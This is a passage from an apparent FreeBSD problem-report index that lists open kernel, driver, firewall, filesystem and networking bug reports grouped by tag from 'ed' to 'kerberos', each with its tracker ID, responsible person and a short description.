downe p kern/123991 qingli [ecmp] ECMP balancing issues 2 problems total. Problem reports for tag 'ed': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/122195 net [ed] Alignment problems in if_ed o kern/85493 imp [ed] [patch] OLDCARD can't probe ed driver o kern/84202 net [ed] [patch] Holtek HT80232 PCI NIC recognition on Fre o kern/80853 net [ed] [patch] add support for Compex RL2000/ISA in PnP p i386/12088 imp [ed] [patch] ed(4) has minor problem with memory alloc o kern/9570 dfr [ed] [patch] ed(4) irq config enhancement 6 problems total. Problem reports for tag 'editline': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/124822 [editline] [patch] Editline's ed-search-{prev,next}-hi 1 problem total. Problem reports for tag 'ef': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/85086 wkoszek [ef] [patch] Locking fixes for ef(4) (+removes mem. le 1 problem total. Problem reports for tag 'ehci': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/122547 usb [ehci] USB Printer not being recognized after reboot o usb/115400 usb [ehci] Problem with EHCI on ASUS M2N4-SLI o usb/113672 usb [ehci] [panic] Kernel panic with AEWIN CB6971 o usb/112461 usb [ehci] [request] ehci USB 2.0 doesn't work on nforce4 o usb/105186 usb [ehci] [panic] USB 2.0/ehci on FreeBSD 6.2-PRE/AMD64 c o usb/91906 usb [ehci] [hang] FreeBSD hangs while booting with USB leg o usb/82660 usb [ehci] [panic] EHCI: I/O stuck in state 'physrd'/panic o usb/81621 usb [ehci] [hang] external hd hangs under load on ehci o usb/79722 usb [ehci] wrong alignments in ehci.h a usb/79656 usb [ehci] RHSC interrupts lost 10 problems total. Problem reports for tag 'elf': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/118540 kaiw [elf] [patch] update sys/sys/elf_common.h with new ema 1 problem total. Problem reports for tag 'em': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136168 net [em] em driver initialization fails on Intel 5000PSL m o kern/134079 net [em] "em0: Invalid MAC address" in FreeBSD-Current ( 8 o kern/122928 net [em] interface watchdog timeouts and stops receiving p o kern/122772 net [em] em0 taskq panic, tcp reassembly bug causes radix o kern/122373 jfv [em]: unable to recieve on em 82542 w/o promisc o kern/122058 net [em] [panic] Panic on em1: taskq o kern/121624 net [em] [regression] Intel em WOL fails after upgrade to o kern/121298 net [em] [panic] Fatal trap 12: page fault while in kernel o kern/119767 jfv [em] [patch] if_em fix for systems without msix suppor o kern/119754 jfv [em] em hung after "watchdog timeout -- resetting" on f kern/119487 [em] page fault in em taskq with polling enabled o kern/118927 jfv [em] em(4) broken: link state changed to DOWN (/UP), l o kern/118695 jfv [em] device polling + vlan causes panic on "em" interf o kern/117926 jfv [em] Intel S5000-based mobo, em driver does not attach o kern/117043 net [em] Intel PWLA8492MT Dual-Port Network adapter EEPROM o kern/115930 jfv [em]: Dell nic enumeration problem o kern/112937 jfv [em] Panic in em(4) when issuing a SIOCGIFADDR ioctl o kern/112702 jfv [em] em driver doesn't use MSI on MSI capable device o kern/104978 jfv [em] jumbo frames has been broken in RELENG_6 by last o kern/103256 jfv [em] em0: watchdog timeout -- resetting (6.1-STABLE) o i386/102562 i386 [em] no traffic pass through a em card after approx. a o kern/101226 jfv [em] Access to IPMI module is lost when the em driver o i386/98366 i386 [em] Intel PRO/1000 MT Dual PCI-X: simulatenious 1000 o amd64/92337 amd64 [em] FreeBSD 6.0 Release Intel Pro 1000 MT em1 no buff o kern/91594 net [em] FreeBSD > 5.4 w/ACPI fails to detect Intel Pro/10 o kern/80932 jfv [em] [patch] Degraded performance of em driver 26 problems total. Problem reports for tag 'est': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/133388 i386 [est] est causes wrong dev.cpu.0.freq_levels values o amd64/121590 amd64 [est] [p4tcc] [acpi_perf] setting dev.cpu.0.freq somet o i386/119946 i386 [est] sysctl dev.cpu.0.freq on 75 Hz, cannot be change o kern/119895 [est] Core2Duo CPUs not recognized by EST 4 problems total. Problem reports for tag 'ex': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/85423 i386 [ex] ex(4) does not correctly recognize NIC in PnP mod o kern/52623 [ex] [patch] IRQ error in driver for the Intel EtherEx 2 problems total. Problem reports for tag 'exp-run': S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/135334 portmgr [exp-run] change linux defaults to Fedora 10 at 8-CURR 1 problem total. Problem reports for tag 'ext2fs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/131086 fs [ext2fs] [patch] mkfs.ext2 creates rotten partition f kern/128173 fs [ext2fs] ls gives "Input/output error" on mounted ext3 f kern/125536 fs [ext2fs] ext 2 mounts cleanly but fails on commands li o kern/122047 fs [ext2fs] [patch] incorrect handling of UF_IMMUTABLE / o kern/105093 fs [ext2fs] [patch] ext2fs on read-only media cannot be m o kern/104133 fs [ext2fs] EXT2FS module corrupts EXT2/3 filesystems o kern/77826 fs [ext2fs] ext2fs usb filesystem will not mount RW 7 problems total. Problem reports for tag 'ext3': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/124621 fs [ext3] [patch] Cannot mount ext2fs partition 1 problem total. Problem reports for tag 'fdc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119618 [fdc] Double Density Disks do not work correctly f kern/106783 trasz [fdc] umount of a floppy disk results in a reboot o kern/104079 [fdc] [patch] kldunload fdc.ko leads to panic: mutex G o kern/103862 [fdc] [patch] Error with fdformat on -CURRENT o kern/97517 [fdc] Floppy device lost permissions when active flopp o kern/97381 [fdc] [patch] Patch to add zero-sector and spanned-sid s kern/97266 [fdc] System hangs at kernel time after boot: /dev/fd0 f kern/91476 gavin [fdc] [patch] floppy drive doesn't work in MS Virtual o kern/84799 [fdc] [patch] can't read beyond track 0 on fdc (IBM th o kern/79944 [fdc] virtual floppy controller of Virtual PC does not s kern/75233 [fdc] breaking fdformat /dev/fd0 resets device permiss o kern/74827 [fdc] Problem writing data to floppies o kern/73961 [fdc] floppy disk drive performance problem [new in 5. o kern/66960 [fdc] [patch] filesystems not unmounted during reboot 14 problems total. Problem reports for tag 'ffs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133980 fs [panic] [ffs] panic: ffs_valloc: dup alloc o amd64/133977 amd64 [panic] [ffs] "panic: ffs_blkfree: freeing free block" o kern/123778 vwe [panic] [ffs] [msgs] server reboots when running 130.c o kern/122380 fs [ffs] ffs_valloc:dup alloc (Soekris 4801/7.0/USB Flash o kern/116913 fs [ffs] [panic] ffs_blkfree: freeing free block o kern/116583 fs [ffs] [hang] System freezes for short time when using o kern/92272 fs [ffs] [hang] Filling a filesystem while creating a sna 7 problems total. Problem reports for tag 'fib': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135067 net [patch] [fib] Incorrect KASSERTs in sys/net/route.c o kern/134931 net [route] [fib] Route messages sent to all socket listen o conf/132851 net [fib] [patch] allow to setup fib for service running f 3 problems total. Problem reports for tag 'fifo': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/94772 [fifo] [patch] FIFOs (named pipes) + select() == broke o kern/76525 [fifo] select() hangs on EOF from named pipe (FIFO) o kern/76144 [fifo] poll doesn't set POLLHUP when FIFO is closed 3 problems total. Problem reports for tag 'firewire': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136652 firewire [firewire] Firewire-attached "WD My Book 1028" does no o kern/129261 simokawa [firewire] Kernel crash on boot with disconnected fire p kern/125673 firewire [firewire] [panic] FreeBSD7 panics when kldunloading f o kern/122951 firewire [firewire] video-transfer via fwcontrol triggers a pan o kern/119575 simokawa [firewire] [patch] sbp_targ cannot handle multiple CTI o kern/118093 firewire [firewire] firewire bus reset hogs CPU, causing data t p kern/114646 firewire [firewire] [patch] firewire fails after suspend/resume o kern/113785 firewire [firewire] dropouts when playing DV on firewire o kern/97208 firewire [firewire] System hangs / locks up when a firewire dis o kern/74238 firewire [firewire] fw_rcv: unknown response; firewire ad-hoc w o kern/73313 simokawa [firewire] Maxtor Onetouch drivers hang or corrupt dat 11 problems total. Problem reports for tag 'fpa': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/101061 vwe [fpa] fea/fpa (DEC FDDI NIC) driver causes kernel pani 1 problem total. Problem reports for tag 'fs': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/122172 fs [fs]: amd(8) automount daemon dies on 6.3-STABLE i386, f kern/120991 fs [panic] [fs] [snapshot] System crashes when manipulati 2 problems total. Problem reports for tag 'fxp': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/135451 yongari [fxp] no wol capability in fxp-driver for 82801-based f kern/128181 yongari [fxp] panic in fxp_add_rfabuf f kern/126469 yongari [fxp] [panic] fxp(4) related kernel panic f kern/125195 yongari [fxp] fxp(4) driver failed to initialize device Intel o kern/124904 yongari [fxp] EEPROM corruption with Compaq NC3163 NIC f kern/121983 yongari [fxp] fxp0 MBUF and PAE f kern/114839 yongari [fxp] fxp looses ability to speak with traffic f kern/113427 yongari [fxp] fxp0: device timeout when writing to USB and pla o kern/103332 yongari [fxp] fxp driver does not work correctly on Intel 8255 o kern/92675 yongari [fxp] [patch] fxp(4) unable to recover from occasional o kern/85258 mux [fxp] changing promisc mode on nic can lead to kernel f kern/80784 yongari [fxp] fxp gives device timeouts o kern/12543 [fxp] [patch] cumulative error counters for fxp(4) 13 problems total. Problem reports for tag 'gbde': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119293 [gbde] gbde swap encryption forces gmirror to rebuild o kern/87544 geom [gbde] mmaping large files on a gbde filesystem deadlo o kern/66162 phk [gbde] gbde destroy error 3 problems total. Problem reports for tag 'gcclibs': S Tracker Resp. Description -------------------------------------------------------------------------------- o gnu/134604 [gcclibs] [patch] Memory leak in gcclibs/libgomp 1 problem total. Problem reports for tag 'geli': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134113 geom [geli] Problem setting secondary GELI key o kern/133931 geom [geli] [request] intentionally wrong password to destr o kern/131037 geom [geli] Unable to create disklabel on .eli-Device o kern/120091 geom [geom] [geli] [gjournal] geli does not prompt for pass o kern/120090 [geli] geli boot password input fails when using usb k o kern/120066 [geli] geli boot password input fail when using serial o kern/117188 [geli] System crashes/reboots on access to file on GEL o bin/116782 [geli] geli not updated on migrate from 6.1 to 6.2 rel o kern/115856 geom [geli] ZFS thought it was degraded when it should have o kern/111967 [geli] glabel - label is seemingly not written to disk o amd64/110599 amd64 [geli] geli attach to gmirror device hangs and cannot o kern/105368 [geli] geli passphrase prompt malfunctioning when moun o conf/102700 rc [geli] [patch] Add encrypted /tmp support to GELI/GBDE o kern/88601 geom [geli] geli cause kernel panic under heavy disk usage 14 problems total. Problem reports for tag 'geode': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/128014 i386 [geode] [patch] AMD Geode CS5536 watchdog(9) not disab o i386/98215 i386 [geode] [regression] FreeBSD can no longer boot Geode 2 problems total. Problem reports for tag 'geom': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136467 geom [geom] glabel(8) destroys access to GEOM tree if volum o kern/135898 geom [geom] Severe filesystem corruption - large files or l o kern/135874 geom [geom] [patch] geom_linux_lvm misses newer fedora defa o kern/134044 geom [geom] gmirror(8) overwrites fs with stale data from r o bin/132845 geom [geom] [patch] ggated(8) does not close files opened a o kern/131353 geom [geom] gjournal(8) kernel lock f kern/130941 gavin [panic] [cd9660] [geom] unexpected crash due to page f o kern/129674 geom [geom] gjournal root did not mount on boot o kern/129245 geom [geom] gcache is more suitable for suffix based provid o kern/126902 geom [geom] geom_label: kernel panic during install boot o kern/124294 geom [geom] gmirror(8) have inappropriate logic when workin o kern/123122 geom [geom] GEOM / gjournal kernel lock o kern/122738 geom [geom] gmirror list "losts consumers" after gmirror de f kern/122415 geom [geom] UFS labels are being constantly created and rem o kern/122067 geom [geom] [panic] Geom crashed during boot o kern/121559 geom [patch] [geom] geom label class allows to create inacc o kern/120231 geom [geom] GEOM_CONCAT error adding second drive o kern/120091 geom [geom] [geli] [gjournal] geli does not prompt for pass o kern/120044 geom [msdosfs] [geom] incorrect MSDOSFS label fries adminis o kern/120021 geom [geom] [panic] net-p2p/qbittorrent crashes system when o kern/119743 geom [geom] geom label for cds is keeped after dismount and o kern/115547 geom [geom] [patch] [request] let GEOM Eli get password fro o kern/114532 geom [geom] GEOM_MIRROR shows up in kldstat even if compile o kern/113837 geom [geom] unable to access 1024 sector size storage o kern/113419 geom [geom] geom fox multipathing not failing back o kern/107707 geom [geom] [patch] [request] add new class geom_xbox360 to o kern/104389 geom [geom] [patch] sys/geom/geom_dump.c doesn't encode XML o kern/98034 geom [geom] dereference of NULL pointer in acd_geom_detach o kern/94632 geom [geom] Kernel output resets input while GELI asks for o kern/90582 geom [geom] [panic] Restore cause panic string (ffs_blkfree o kern/89546 geom [geom] GEOM error f kern/89102 trasz [geom] [panic] panic when forced unmount FS from unplu o kern/84556 geom [geom] [panic] GBDE-encrypted swap causes panic at shu o kern/78114 phk [geom] [patch] Solaris/x86 label structures for GEOM ( 34 problems total. Problem reports for tag 'gif': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127815 net [gif] [patch] if_gif does not set vlan attributes from p kern/125003 hrs [gif] incorrect EtherIP header format. o kern/121642 bz [ipsec] [gif]: When using IPSec, tcpdump shows non-dec o kern/121443 net [gif] [lor] icmp6_input/nd6_lookup f kern/108197 jinmei [panic] [gif] [ip6] if_delmulti reference counting pan o conf/97014 [gif] gifconfig_gif? in rc.conf does not recognize IPv o conf/96094 [gif] startup scripts do not configure gif interfaces o kern/95532 [gif] if_gif has artificial limitations 8 problems total. Problem reports for tag 'gjournal': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127420 fs [gjournal] [panic] Journal overflow on gmirrored gjour o kern/124973 geom [gjournal] [patch] boot order affects geom_journal con o kern/123962 geom [panic] [gjournal] gjournal (455Gb data, 8Gb journal), o kern/120091 geom [geom] [geli] [gjournal] geli does not prompt for pass 4 problems total. Problem reports for tag 'glxsb': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132622 philip [glxsb] [patch] glxsb(4) performs badly with ipsec 1 problem total. Problem reports for tag 'gmirror': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134922 geom [gmirror] [panic] kernel panic when use fdisk on disk o kern/132242 geom [gmirror] gmirror.ko fails to fully initialize f kern/128276 geom [gmirror] machine lock up when gmirror module is used o kern/124130 geom [gmirror] [usb] gmirror fails to start usb devices tha o kern/123630 geom [patch] [gmirror] gmirror doesnt allow the original dr o kern/121364 geom [gmirror] Removing all providers create a "zombie" mir o kern/113957 geom [gmirror] gmirror is intermittently reporting a degrad o kern/113885 geom [gmirror] [patch] improved gmirror balance algorithm 8 problems total. Problem reports for tag 'gre': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135948 pf [pf] [gre] pf not natting gre protocol o kern/125239 net [gre] kernel crash when using gre f kern/122065 bz [ipsec] [gre] gre over ipsec not working o kern/114714 thompsa [gre] [patch] gre(4) is not MPSAFE and does not suppor o conf/111557 [gre] link1 flag doesn't work as intended when specifi p kern/85320 gonzo [gre] [patch] possible depletion of kernel stack in ip s kern/47813 [gre] pseudo-device gre(4) doesn't appear to work with 7 problems total. Problem reports for tag 'gssapi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134010 [gssapi][patch] Buffer overflow and use-after-free in 1 problem total. Problem reports for tag 'handbook': S Tracker Resp. Description -------------------------------------------------------------------------------- o docs/136666 doc [handbook] Configure serial port for remote kernel deb o docs/132718 doc [handbook] Information about adding a new mirror is ou o docs/132113 doc [handbook] Update handbook jails creation o docs/121585 doc [handbook] Wrong multicast specification 4 problems total. Problem reports for tag 'headers': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136386 [headers] [request] Can the following bluez macros be o kern/136216 [headers] Missing prototype declaration for setfib() o o kern/127623 [headers] header definition for cftime is missing. o kern/126076 [headers] POLL_ERR and POLL_HUP are defined identicall o kern/117510 [headers] [patch] sys/cdefs.h lacks support for PCC o kern/113256 [headers] _limits.h for some CPU has wrong definitions o kern/112938 [headers] [patch] utmp.h is too limiting for modern sy o bin/106355 [headers] macros in stdio.h non-portable (e.g., C++ :: o stand/104743 standards [headers] [patch] Wrong values for _POSIX_ minimal lim o kern/103022 cperciva [headers] /usr/include/crypto/rijndael.h is wrong o stand/96016 standards [headers] clock_getres et al should be in o kern/93705 standards [headers] [patch] ENODATA and EGREGIOUS (for glibc com o stand/92362 standards [headers] [patch] Missing SIGPOLL in kernel headers o kern/84981 [headers] [patch] header protection for -interfac a kern/122565 bz [ipsec] [ip6] Possible memory overwrite for IPv6 IPsec s conf/121812 [ip6] [request] ipv6_gateway_enable incorrectly disabl f kern/119516 net [ip6] [panic] _mtx_lock_sleep: recursed on non-recursi o kern/118880 bz [ip6] IP_RECVDSTADDR & IP_SENDSRCADDR not implemented o docs/114371 doc [patch] [ip6] rtadvd.con(5) should show how to adverti a kern/113842 bz [ip6] PF_INET6 proto domain state can't be cleared wit f kern/108197 jinmei [panic] [gif] [ip6] if_delmulti reference counting pan o kern/100219 bz [ip6] IPV6_PKTOPTIONS and possible mbuf exhaustion. o kern/83778 [ip6] [patch] JPv6 cannot use Jumbo Frames o kern/77341 net [ip6] problems with IPV6 implementation 20 problems total. Problem reports for tag 'ipf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/123796 net [ipf] FreeBSD 6.1+VPN+ipnat+ipf: port mapping does not o kern/106438 net [ipf] ipfilter: keep state does not seem to allow repl o kern/101948 net [ipf] [panic] Kernel Panic Trap No 12 Page Fault - cau o kern/98978 net [ipf] [patch] ipfilter drops OOW packets under 6.1-Rel s kern/91777 net [ipf] [patch] wrong behaviour with skip rule inside an o kern/87521 net [ipf] [panic] using ipfilter "auth" keyword leads to k o kern/86103 net [ipf] Illegal NAT Traversal in IPFilter o kern/79895 net [ipf] 5.4-RC2 breaks ipfilter NAT when using netgraph o kern/78090 net [ipf] ipf filtering on bridged packets doesn't work if o kern/77273 net [ipf] ipfilter breaks ipv6 statefull filtering on 5.3 s kern/77195 net [ipf] [patch] ipfilter ioctl SIOCGNATL does not match o kern/70904 net [ipf] ipfilter ipnat problem with h323 proxy support o kern/34665 net [ipf] [hang] ipfilter rcmd proxy "hangs". o kern/27474 net [ipf] [ppp] Interactive use of user PPP and ipfilter c 14 problems total. Problem reports for tag 'ipfw': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135476 ipfw [ipfw] IPFW table breaks after adding a large number o o kern/132774 rwatson [ipfw] IPFW with uid/gid/jail rules may lead to lockup o kern/132553 ipfw [ipfw] ipfw doesn't understand ftp-data port o kern/131817 ipfw [ipfw] blocks layer2 packets that should not be blocke o kern/131601 ipfw [ipfw] [panic] 7-STABLE panic in nat_finalise (tcp=0) o kern/131558 ipfw [ipfw] Inconsistent "via" ipfw behavior o kern/130109 net [ipfw] Can not set fib for packets originated from loc o kern/129103 ipfw [ipfw] IPFW check state does not work =( o kern/129093 ipfw [ipfw] ipfw nat must not drop packets o kern/129036 ipfw [ipfw] 'ipfw fwd' does not change outgoing interface n o kern/128260 ipfw [ipfw] [patch] ipfw_divert damages IPv6 packets o kern/127230 ipfw [ipfw] [patch] Feature request to add UID and/or GID l o kern/127209 ipfw [ipfw] IPFW table become corrupted after many changes o bin/125370 ipfw [ipfw] [patch] increase a line buffer limit a kern/123358 [ipfw] ipfw add 1000 allow IP from any to any doesn't o kern/122963 ipfw [ipfw] tcpdump does not show packets redirected by 'ip o kern/122109 piso [ipfw] ipfw nat traceroute problem o bin/121424 doc [patch] [ipfw] Rectify ambiguous English in manual o kern/121122 ipfw [ipfw] [patch] add support to ToS IP PRECEDENCE fields o kern/118993 ipfw [ipfw] page fault - probably it's a locking problem o kern/117234 ipfw [ipfw] [patch] ipfw send_pkt() and ipfw_tick() don't s o kern/116009 ipfw [ipfw] [patch] Ignore errors when loading ruleset from p kern/115755 ipfw [ipfw] [patch] unify message and add a rule number whe p kern/113388 ipfw [ipfw] [patch] Addition actions with rules within spec o kern/112708 ipfw [ipfw] ipfw is seems to be broken to limit number of c o kern/112561 ipfw [ipfw] ipfw fwd does not work with some TCP packets o kern/107305 ipfw [ipfw] ipfw fwd doesn't seem to work o kern/105330 ipfw [ipfw] [patch] ipfw (dummynet) does not allow to set q o kern/104682 ipfw [ipfw] [patch] Some minor language consistency fixes a o kern/103454 ipfw [ipfw] [patch] [request] add a facility to modify DF b o kern/103328 ipfw [ipfw] [request] sugestions about ipfw table o kern/102471 ipfw [ipfw] [patch] add tos and dscp support o kern/98831 ipfw [ipfw] ipfw has UDP hickups o kern/97951 ipfw [ipfw] [patch] ipfw does not tie interface details to o kern/97504 ipfw [ipfw] IPFW Rules bug o kern/95084 ipfw [ipfw] [regression] [patch] IPFW2 ignores "recv/xmit/v o kern/93300 ipfw [ipfw] ipfw pipe lost packets o kern/91847 ipfw [ipfw] ipfw with vlanX as the device o kern/87032 ipfw [ipfw] [patch] ipfw ioctl interface implementation o kern/86957 ipfw [ipfw] [patch] ipfw mac logging o kern/82724 ipfw [ipfw] [patch] [request] Add setnexthop and defaultrou s kern/80642 ipfw [ipfw] [patch] ipfw small patch - new RULE OPTION o kern/74104 ipfw [ipfw] ipfw2/1 conflict not detected or reported, manp o kern/73910 ipfw [ipfw] serious bug on forwarding of packets after NAT o kern/72987 ipfw [ipfw] ipfw/dummynet pipe/queue 'queue [BYTES]KBytes ( o kern/71366 ipfw [ipfw] "ipfw fwd" sometimes rewrites destination mac a o kern/69963 ipfw [ipfw] install_state warning about already existing en o kern/62042 luigi [ipfw] ipfw can't no more reject icmp (icmptypes 8) o kern/60719 ipfw [ipfw] Headerless fragments generate cryptic error mes o kern/56031 luigi [ipfw] ipfw hangs on every invocation o kern/55984 ipfw [ipfw] [patch] time based firewalling support for ipfw s kern/51341 remko [ipfw] [patch] ipfw rule 'deny icmp from any to any ic o kern/51274 ipfw [ipfw] [patch] ipfw2 create dynamic rules with parent o kern/48172 ipfw [ipfw] [patch] ipfw does not log size and flags o kern/46159 ipfw [ipfw] [patch] [request] ipfw dynamic rules lifetime f a kern/26534 ipfw [ipfw] Add an option to ipfw to log gid/uid of who cau 56 problems total. Problem reports for tag 'ipl': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132554 net [ipl] There is no ippool start script/ipfilter magic t o kern/121534 darrenr [ipl] [nat] FreeBSD Release 6.3 Kernel Trap 12: 2 problems total. Problem reports for tag 'ipmi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130512 [ipmi] [patch] Various mistakes in IPMI watchdog handl o kern/125389 [ipmi] [bce] IPMI problem with bce o kern/123904 [ipmi] ipmi(4) reports negative temperature values on f kern/122252 net [ipmi] [bge] IPMI problem with BCM5704 (does not work o i386/105175 i386 [ipmi] ipmi acpi trouble on supermicro server a kern/103041 linimon [ipmi] unloading ipmi panics Dell PE 2850, ipmi doesn' o kern/79143 [ipmi] Broadcom NIC driver do not work for IPMI 7 problems total. Problem reports for tag 'ipnat': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127233 darrenr [ipnat]: ipnat + ipfilter source routing not handling o kern/115239 net [ipnat] panic with 'kmem_map too small' using ipnat o kern/91908 darrenr [ipnat] loading ipl.ko to the kernel compiled with opt 3 problems total. Problem reports for tag 'ips': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/121903 i386 [ips] [boot] can't boot on IBM x235 ServeRaid 6M [regr o kern/93750 [ips] Boot hangs on ips0: resetting adapter, this may o kern/92164 scottl [ips] [lor] SCSI target mode LOR o kern/57832 scottl [ips] softdep_deallocate_dependencies: dangling deps 4 problems total. Problem reports for tag 'ipsec': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133060 net [ipsec] [pfsync] [panic] Kernel panic with ipsec + pfs o kern/132277 net [crypto] [ipsec] poor performance using cryptodevice f o kern/129517 net [ipsec] [panic] double fault / stack overflow s conf/128030 bz [ipsec] [request] Isn't it time to enable IPsec in GEN p bin/126468 bz [ipsec] some ipsec configurations make FreeBSD panic o kern/123793 bz [ipsec] [patch] KAME IPSEC does not pass processed pac o kern/123587 bz [ipsec] IPCOMP broken in IPSEC (FAST_IPSEC for RELENG_ o kern/123463 net [ipsec] [panic] repeatable crash related to ipsec-tool f kern/123066 vanhu [ipsec] [panic] kernel trap with ipsec a kern/122565 bz [ipsec] [ip6] Possible memory overwrite for IPv6 IPsec o kern/122563 bz [ipsec] KEY_FREESAV() in FreeBSD-Release7.0 o kern/122562 bz [ipsec] IPsec AH tunneled packet mis handling? f kern/122065 bz [ipsec] [gre] gre over ipsec not working o kern/121642 bz [ipsec] [gif]: When using IPSec, tcpdump shows non-dec o kern/121373 bz [ipsec] New IPSEC & IPV6 & AH+ESP Broken o kern/112722 net [ipsec] [udp] IP v4 udp fragmented packet reject f kern/110959 bz [ipsec] Filtering incoming packets with enc0 does not o kern/103135 net [ipsec] ipsec with ipfw divert (not NAT) encodes a pac a kern/95307 vanhu [ipsec] Panic (race condition?) in ipsec_process_done o kern/94273 gnn [ipsec] [patch] IPIP decapsulation problem in FAST_IPS o kern/88336 vanhu [ipsec] [patch] setkey(8) -D fails to report all SAs f kern/39233 bz [ipsec]: NonConforming IPsec implementation from FreeB 22 problems total. Problem reports for tag 'ipw': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/131087 net [ipw] [panic] ipw / iwi - no sent/received packets; iw o kern/126339 net [ipw] ipw driver drops the connection o kern/118534 [ipw] bitrate and power wifi can't change/set ipw Inte o kern/110140 net [ipw] ipw fails under load o kern/84861 thompsa [ipw] [patch] still can't get working ipw(4) with adho a kern/82926 thompsa [ipw] ipw(4) doesn't seem to do WPA, also leaves entri 6 problems total. Problem reports for tag 'ipx': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/83368 [ipx] [patch] incorrect handling of malloc failures wi 1 problem total. Problem reports for tag 'irq': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/122148 i386 [irq] interrupt storm on 7.0 [regression] o kern/119696 [irq] [ral] ral device causes massive interrupt storm o usb/119513 usb [irq] inserting dlink dwl-g630 wireless card results i o usb/117613 usb [uhci] [irq] uhci interrupt storm & USB leaked memory o kern/113138 [irq] interrupt storm on 6.x kernels on an MS-1029 (AM o kern/103532 [irq] Interrupt storm in 6.2-PRERELEASE [regression] o kern/74786 [irq] [patch] Smartlink Modem causes interrupt storm o 7 problems total. Problem reports for tag 'isa': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/37441 davidxu [isa] [patch] ISA PNP parse problem 1 problem total. Problem reports for tag 'iscsi': S Tracker Resp. Description -------------------------------------------------------------------------------- o sparc/121676 scsi [iscsi] iscontrol do not connect iscsi-target on sparc 1 problem total. Problem reports for tag 'iso9660': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/95222 fs [iso9660] File sections on ISO9660 level 3 CDs ignored 1 problem total. Problem reports for tag 'isp': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/132394 scsi [isp] - bad underruns with QLogic qla2300 and amd64 o kern/127927 scsi [isp] isp(4) target driver crashes kernel when set up o kern/126866 scsi [isp] [panic] kernel panic on card initialization 3 problems total. Problem reports for tag 'iwi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/131153 net [iwi] iwi doesn't see a wireless network o kern/127826 net [iwi] iwi0 driver has reduced performance and connecti o kern/124767 net [iwi] Wireless connection using iwi0 driver (Intel 220 o kern/123559 net [iwi] iwi periodically disassociates/associates [regre a kern/122597 thompsa [iwi] Intel iwi fails after 3 - 4 hours of use"firmwar o kern/116185 net [iwi] if_iwi driver leads system to reboot o conf/113117 linimon [iwi] if_iwi isn't present in today's CURRENT/AMD64 7 problems total. Problem reports for tag 'iwn': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132625 net [iwn] iwn drivers don't support setting country 1 problem total. Problem reports for tag 'ixgbe': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128577 [ixgbe] [patch] Send queue stall in ixgbe driver when o kern/127834 net [ixgbe] [patch] wrong error counting o kern/126688 net [ixgbe] [patch] 1.4.7 ixgbe driver panic with 4GB and 3 problems total. Problem reports for tag 'jail': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133265 jail [jail] is there a solution how to run nfs client in ja f kern/132092 bz [jail] jail can listen on *:port when jail_socket_unix p kern/126368 bz [jail] Running ktrace/kdump in jail leads to stale jai o conf/124248 rc [jail] [patch] add support for nice value for rc.d/jai o kern/119842 jail [smbfs] [jail] "Bad address" with smbfs inside a jail p kern/114325 bz [jail] SIOCGIFADDR ioctl behaves incorrectly inside ja p conf/103489 bz [rc.d] [named] [jail] [patch] named_chroot_autoupdate p kern/103464 bz [dns] [jail] jail networking failures to 127.0.0.1 onl o bin/99566 jail [jail] [patch] fstat(1) according to specified jid f kern/89989 bz [jail] [patch] Add option -I (ASCII 73) PID to specif o bin/78763 pjd [patch] [jail] Added jail support to ps(1) f kern/74314 bz [resolver] [jail] DNS resolver broken under certain ja p kern/68189 bz [arp] [jail] [patch] arp -a discloses non-jail interfa o kern/48471 pjd [jail] [patch] [request] private IPC for every jail o bin/32828 jail [jail] w(1) incorrectly handles stale utmp slots with s kern/13997 rwatson [jail] [patch] RLIMIT_NPROC works unadequately for jai 16 problems total. Problem reports for tag 'joy': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/64588 [joy] [request] Extend joystick driver architecture to 1 problem total. Problem reports for tag 'kbdmux': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/127446 emax [kbdmux] [patch] fix race in sys/dev/kbdmux/kbdmux.c 1 problem total. Problem reports for tag 'kerberos': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/45830 [kerberos] KDC has problems when listening to IPv6 and 1 problem total. Problem 